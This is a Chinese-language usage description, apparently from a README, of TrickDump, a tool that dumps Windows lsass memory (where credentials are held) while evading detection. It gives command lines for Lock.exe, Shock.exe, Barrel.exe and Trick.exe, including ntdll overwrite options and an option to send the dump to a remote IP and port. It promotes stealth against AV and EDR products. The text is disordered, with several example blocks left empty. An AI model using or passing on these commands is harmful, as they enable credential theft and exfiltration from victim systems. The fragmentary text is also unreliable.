TrickDump 转储 lsass 进程时不创建 Minidump 文件,而是生成 3 个 JSON 文件和 1 个包含内存区域转储的 ZIP 文件。分为三个步骤:

在攻击系统中,使用 create_dump.py 脚本生成 Minidump 文件:
python3 create_dump.py [-l LOCK_JSON] [-s SHOCK_JSON] [-b BARREL_JSON] [-z BARREL_ZIP] [-o OUTPUT_FILE]
该技术的优点包括:
OpenProcess 或 NtOpenProcess 以 PROCESS_VM_OPERATION 和 PROCESS_VM_WRITE 访问权限获取 lsass 进程句柄。提供多种语言版本:
如果启用了 PPL、PEB 结构不可读或二进制文件未编译为 64 位,则该技术将无法运行。更新:现在可以在不读取 PEB 的情况下执行程序,请查看 peb-unreadable 分支 :)
该技术可在最新版本的 Windows 上正常运行,并已针对常见 AV 和 EDR 解决方案进行测试,但隐蔽性取决于所选的“风格”:使用不常见的语言并自定义二进制文件可获得最佳效果!
在受害者系统上执行程序,生成三个 JSON 文件(包含内存区域信息)和一个 zip 文件(包含每个内存区域的转储)。
Lock.exe [disk/knowndlls/debugproc]
Shock.exe [disk/knowndlls/debugproc]
Barrel.exe [disk/knowndlls/debugproc]
可以直接执行程序而不覆盖 ntdll.dll 库:

或者使用三种不同的覆盖技术之一:

然后生成 Minidump 文件:

如果希望只执行一个二进制文件,Trick.exe 会生成一个包含 3 个 JSON 文件和包含内存区域的 ZIP 文件的 ZIP 文件:
Trick.exe [disk/knowndlls/debugproc] [IP_ADDRESS] [PORT]
可以在本地创建 ZIP 文件,并可选择使用 Ntdll 覆盖方法:

或者使用第二个和第三个参数(IP 地址和端口)将其发送到远程端口:

无论哪种情况,都会得到一个如下所示的 ZIP 文件,解压后创建 Minidump 文件:
